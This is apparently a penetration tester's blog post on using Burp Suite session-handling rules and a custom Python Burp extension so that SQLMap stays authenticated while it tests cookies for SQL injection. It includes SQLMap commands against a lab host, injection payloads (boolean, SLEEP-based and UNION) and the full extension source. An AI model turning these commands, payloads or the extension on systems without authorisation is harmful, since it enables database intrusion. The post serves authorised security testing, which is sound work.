Fun with Burp Suite Session Handling, Extensions, and SQLMap

I’ve been a little obsessed with the session handling tool-set that Burp Suite provides. I’ve been running into web applications that aggressively tear down (de-authenticate) sessions  for any number of given reasons. Could be the volume of requests sent, malicious input, time-based, accessing a certain section of the app, or perhaps some custom algorithm that’s causing it. At the end of the day I don’t really care and just want to ensure that when I automate traffic via Burp, my requests are hitting my target application in an authenticated manner.

So yeah… I’ve been a little obsessed with session handling and just wrapped up looking at the following three things that have been on my mind recently.

  • General concerns about how aggressive de-authentication mechanisms affect comprehensively scanning applications for vulnerabilities.
  • Pushing various tools through Burp’s proxy and having burp maintain an active session regardless of whether the selected tool maintains a cookie jar.
  • Working with Burp Extensions.

Note the emphasis on the end of the second bullet point. I have absolutely no desire to troubleshoot and deal with multiple cookie jars.

On my last engagement I worked with an application that provided me with a chance to look at all of these things together in a real-world scenario. The application in question produced a false-positive SQL Injection vulnerability during my scanning activities. One of those findings that your gut tells you is a false positive but you don’t necessarily want to brush off. It was thought to be some form of Blind SQLi that only produced a difference in the way the link toolbar was laid out. No explicit database or error output was provided. Just a Boolean in terms of page output.

The thought-to-be-vulnerable input was a cookie. Wanting to explore this further and not having the time to poke at it manually, I set out to use SQLMap to test the input and see if a vulnerability actually existed. Knowing that the application was pretty aggressive at de-authenticating sessions, I pushed the traffic SQLMap generated through Burp’s proxy in order to leverage Burp’s session handling rules to keep me authenticated. Nothing too crazy. The only compensating factor, outside of  the macros & session handling rules needed to test the validity of the current session (and any subsequent re-authentication),  required for this was to instruct Burp not to update the cookie in question during any requests. As in, pass the value provided by SQLMap through all of the session-handling rules untouched.

The following figure details the settings used to exclude the vulnerable cookie from being updated by the “Session Check & Repair” macro I was using. This was a request whose authenticated response was as lightweight (small) as I could find in my proxy history. It’s issued before every automated request to ensure an authenticated session is being used. If the test produces an invalid session, another macro is run to re-establish an authenticated session with the application. Yup, this causes a lot of requests but stealth is/was not a concern for this type of assessment.

This rule’s only goal is to establish a valid session state. The underlying macro updates the Cookie Jar but does not alter the current request being issued by our targeted efforts (aka SQLMap requests) as a subsequent rule was already in place to handle this.

Burp Session Handling and SQLMap - 1

Another configuration is necessary in the session handling rule that applies up-to-date cookies in the Cookie Jar to the current request. We want the payload sent by SQLMap to not be altered. Again, the vulnerable input was a cookie so we don’t want this session handling rule trouncing on our test payloads.

Burp Session Handling and SQLMap - 2

With these concessions made, I placed a recent, up-to-date version of the vulnerable request into a text file, marked the appropriate insertion point, and had SQLMap fire away at it. An example of a request file used for this would be something like:

GET /test/private/vulnerable-page.php HTTP/1.1
Host: www.vulnerable.com
Cookie: test=foo; v=bbq; vulnerable=TWFpbnRhaW4gYSBoZWFsdGh5IEJNSQo=*
Accept-Language: en
Connection: close

And a simple SQLMap command something like:

sqlmap --proxy=http://127.0.0.1:8081 -r req1.txt

Pretty straight-forward if you’ve spent any respectable length of time using SQLMap.

So long story short, I was able to work through testing the URL thought to contain a vulnerable input using SQLMap and have my state maintained by Burp Suite. Nothing too overwhelmingly complicated but I was happy to see my session maintained during my testing efforts. Mission accomplished!

This got me thinking about how I might approach a similar scenario where an application was aggressively de-authenticating me and I wanted to ensure the cookie being tested was being updated by any applied session handling rules. The caveat from the above example was that Burp was not updating the cookie being tested. The base value was being taken from the request file used by SQLMap and passed through all of the session handling rules unchanged.

In this new scenario, I want to pick an insertion point (the beginning or end of the cookie value) and prepend/append payloads to the targeted, updated cookie value. As in, I want the application to have the opportunity to work with a valid cookie in conjunction with the test payload. I know this probably isn’t a massively important issue as most applications don’t maintain state based off of  numerous cookies. Regardless, I wanted to go down this rabbit-hole and work through how I might solve this issue using Burp Suite’s Macros, Session Handling Rules, and Extensions.

After a lot of trial and error I worked up a fairly elegant way to accomplish this. By sending two extra inputs (GET/POST parameters or cookies) I can instruct a Burp extension to target a particular cookie, apply a given payload to it, and then strip the extra inputs from the request prior to sending it to my target. This allows a request to work through the applied session handling rules before prepending/appending a given payload to the targeted cookie.

I tested this against a generic blind SQL injection (with a vulnerable cookie) proof-of-concept I had in my lab. I edited the poc such that it required authentication and made it de-authenticate my session every few seconds. Despite the aggressive session termination, SQLMap was successfully able to identify the injection point using multiple different payloads. Score!

The session handling rules looked like the following.

Burp Session Handling and SQLMap - 3

Remember, this is all going through Burp’s proxy so make sure to configure all three rules appropriately in their “Tools Scope” sections.

Burp Session Handling and SQLMap - 5

The “Session Check & Repair” rule is configured the same way it was discussed above. This is merely a request that uses up-to-date cookies from the Cookie Jar and attempts to make an authenticated request to the application. If it fails, it fires off another request to re-authenticate to the application. The entire process updates cookies in the Cookie Jar but does nothing to alter the current request being sent through the proxy.

The cookie jar rule should be self explanatory.

And lastly, the “Cookie Attack” rule only invokes the extension I wrote.

My extension requires you to add two inputs (GET/POST params or cookies) to tell it what cookie to target and what payload(s) to prepend/append to it. Should you choose to use cookies for this, you will want to exclude updates to both inputs from both session check and cookie jar rules so the original values aren’t trounced in the process. Something like the following.

Burp Session Handling and SQLMap - 4

Both provided inputs are stripped from the final request sent to the target. They are only used by the extension. The extension has a simple tab interface to control the inputs. I could have made the input that points at the target cookie part of this interface but chose to leave it “on the command line” so you can script SQLMap to rotate through cookies. Again, the two inputs are used by the extension to ingest the name of the targeted cookie and the payload(s) that will be applied to it.

After the extension is enabled and all the configurations are finished, SQLMap can be leveraged in the following different ways.

Creating a Request File

Place the following into a text file before feeding it to SQLMap.

GET /sqli/simple_cookie_auth.php HTTP/1.1
Host: 192.168.0.172
Cookie: target=vulnerable; payload=*

And running…

sqlmap --proxy=http://127.0.0.1:8081 --dbms=mysql -r req1.txt

You can also remove the cookies from the request file and input them on the command line.

sqlmap --proxy=http://127.0.0.1:8081 -r req1.txt --cookie 'payload=*; target=vulnerable'

You can change the verb to POST and move the inputs to either GET/POST parameters.

GET /sqli/simple_cookie_auth.php?target=vulnerable&payload=* HTTP/1.1
Host: 192.168.0.172
POST /sqli/simple_cookie_auth.php HTTP/1.1
Host: 192.168.0.172

target=vulnerable&payload=*

Using only the Command Line with Cookies

The following calls to SQLMap work and do not require a request file.

sqlmap --proxy=http://127.0.0.1:8081 -u 'http://192.168.0.172/sqli/simple_cookie_auth.php' --cookie 'payload=*; target=vulnerable'

sqlmap --proxy=http://127.0.0.1:8081 -u 'http://192.168.0.172/sqli/simple_cookie_auth.php' --cookie 'payload=*; target=vulnerable' --method POST

Using only the Command Line with GET/POST Parameters

The following calls to SQLMap also work.

sqlmap --proxy=http://127.0.0.1:8081 -u 'http://192.168.0.172/sqli/simple_cookie_auth.php?target=vulnerable&payload=' -p payload
sqlmap --proxy=http://127.0.0.1:8081 -u 'http://192.168.0.172/sqli/simple_cookie_auth.php' --data 'target=vulnerable&payload=' -p payload --method POST

Note that you do not need to mark inputs when using GET/POST parameters. Leave the payload parameter blank when doing so.

Success!

sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: target=vulnerable; payload=' AND 7339=7339 AND 'nqIl'='nqIl

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: target=vulnerable; payload=' AND SLEEP(5) AND 'YQGl'='YQGl

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: target=vulnerable; payload=' UNION ALL SELECT CONCAT(0x7176716a71,0x56755779624f6969797744796542736b41526372414a5978574b6649636761645759674f5851466f,0x71716a7071),NULL,NULL-- aJGY
---
[15:01:34] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 7-1708
web application technology: Apache 2.4.6, PHP 5.4.16
back-end DBMS: MySQL >= 5.0.12

At the end of the day, this extension could be used by any tool that can push requests through Burp Suite. It wouldn’t be difficult to make it act on standard GET/POST parameters, as well.

Something to note about the following Python extension code. I utilized some debugging tools creating by Michał Bentkowski (@securitymb) found at the following link.

https://github.com/securityMB/burp-exceptions

I was introduced to these tools by JakeMiller (@laconicwolf) via the following blog post.

https://laconicwolf.com/2018/04/13/burp-extension-python-tutorial/

These tools really help out when your extension is tossing errors around. They definitely made my life easier. Cheers, guys!

# python imports
#import re
import sys

# Burp specific imports
from burp import IBurpExtender
from burp import ISessionHandlingAction
from burp import IParameter
from burp import ICookie
from burp import ITab

# "java" imports
from javax import swing
#from java.net import URL

# For using the debugging tools from
# https://github.com/securityMB/burp-exceptions
try:
    from exceptions_fix import FixBurpExceptions
except ImportError:
    pass

class BurpExtender(IBurpExtender, ISessionHandlingAction, ITab):

	#
	# Define config and gui variables
	#

	targetParamName = 'target'
	payloadParamName = 'payload'
	payloadPlacement = 'Right'

	#
	# implement ITab
	#

	def getTabCaption(self):
		# Return the text to be displayed on the tab
		return "Cookie Attack"

	def getUiComponent(self):
		# Passes the UI to burp
		return self.tab

	#
	# Define config functions
	#

	def saveTargetParamName(self, input):
		source = input.getSource()
		value = source.getText()
		if value:
			self.targetParamName = value
			###print("### set targetParamName = %s" % value)
		return

	def savePayloadParamName(self, input):
		source = input.getSource()
		value = source.getText()
		if value:
			self.payloadParamName = value
			#print("### set payloadParamName = %s" % value)
		return

	#
	# implement IBurpExtender
	#

	def	registerExtenderCallbacks(self, callbacks):
		# keep a reference to our callbacks object
		self.callbacks = callbacks

		# obtain an extension helpers object
		self.helpers = callbacks.getHelpers()

		# set our extension name
		callbacks.setExtensionName("Cookie Attack")

		# register ourselves a Session Handling Action
		callbacks.registerSessionHandlingAction(self)

		# Build a tab to manage config variables
		self.tab = swing.JPanel()
		#self.tab.setLayout(None)

		self.targetParamLabel = swing.JLabel("Target Parameter Name")
		self.targetParamField = swing.JTextField("target", 10, focusLost=self.saveTargetParamName)
		self.payloadParamLabel = swing.JLabel("Payload Parameter Name")
		self.payloadParamField = swing.JTextField("payload", 10, focusLost=self.savePayloadParamName)
		self.placementLabel = swing.JLabel("Placement")
		self.placementComboBox = swing.JComboBox([ 'Left', 'Right'])
		self.placementComboBox.setSelectedIndex(1) # 1 = Right

		#self.placementLabel.setBounds(10, 10, 10, 200)

		self.tab.add(self.targetParamLabel)
		self.tab.add(self.targetParamField)
		self.tab.add(self.payloadParamLabel)
		self.tab.add(self.payloadParamField)
		self.tab.add(self.placementLabel)
		self.tab.add(self.placementComboBox)

		# Add the custom tab to Burp's UI
		callbacks.addSuiteTab(self)

		# Used by the custom debugging tools
		sys.stdout = callbacks.getStdout()

		print("DEBUG: Cookie Attack - Enabled!")

		return

	#
	# Implement ISessionHandlingAction
	#

	def getActionName(self):
		return "Cookie Attack"

	def performAction(self, current_request, macro_items):
		req_info = self.helpers.analyzeRequest(current_request)
		parameters = req_info.getParameters()
		#print("########### In performAction")

		#print("self.targetParamName = %s" % self.targetParamName)
		#print("self.payloadParamName = %s" % self.payloadParamName)

		targetName = None
		targetPayload = None
		targetJarValue = None
		req = None

		for i in range(len(parameters)):
			param = parameters[i]
			paramName = param.getName().strip()
			paramValue = param.getValue().strip()
			paramType = param.getType()

			# grabbing the target name from the target param
			if (paramType == IParameter.PARAM_URL or paramType == IParameter.PARAM_COOKIE or paramType == IParameter.PARAM_BODY) and paramName == self.targetParamName and paramValue:
				# save the target cookie name
				targetName = paramValue
				#print("Target name = %s" % targetName)
				# remove the target cookie parameter
				req = self.helpers.removeParameter(current_request.getRequest(), param)
				break

		for i in range(len(parameters)):
			param = parameters[i]
			paramName = param.getName().strip()
			paramValue = param.getValue().strip()
			paramType = param.getType()

			# grabbing the payload from the payload param
			if (paramType == IParameter.PARAM_URL or paramType == IParameter.PARAM_COOKIE or paramType == IParameter.PARAM_BODY) and paramName == self.payloadParamName and paramValue:
				# save the payload value 
				targetPayload = paramValue
				#print("Target payload = %s" % targetPayload)
				# remove the payload cookie parameter
				if req:
					req = self.helpers.removeParameter(req, param)
				else:
					req = self.helpers.removeParameter(current_request.getRequest(), param)
			
			# grabbing the targeted cookie just updated by the cookie jar
			if paramType == IParameter.PARAM_COOKIE and paramName == targetName and paramValue:
				# grab the cookie jar value for the target cookie
				targetJarValue = paramValue
				#print("Jar Value = %s" % targetJarValue)

			# do we have everything we need?
			if targetName and targetPayload and targetJarValue:

				if self.placementComboBox.getSelectedItem() == 'Left':
					newValue = targetPayload + targetJarValue
				else:
					newValue = targetJarValue + targetPayload

				#print("Final %s = %s" % (targetName, newValue))

				# update the parameter currently queued up for the current request
				updatedParam = self.helpers.buildParameter(targetName, newValue, IParameter.PARAM_COOKIE)

				if req:
					req = self.helpers.updateParameter(req, updatedParam)
				else:
					req = self.helpers.updateParameter(current_request.getRequest(), updatedParam)

				current_request.setRequest(req)

				break

try:
    FixBurpExceptions()
except:
    pass
Tagged , , , ,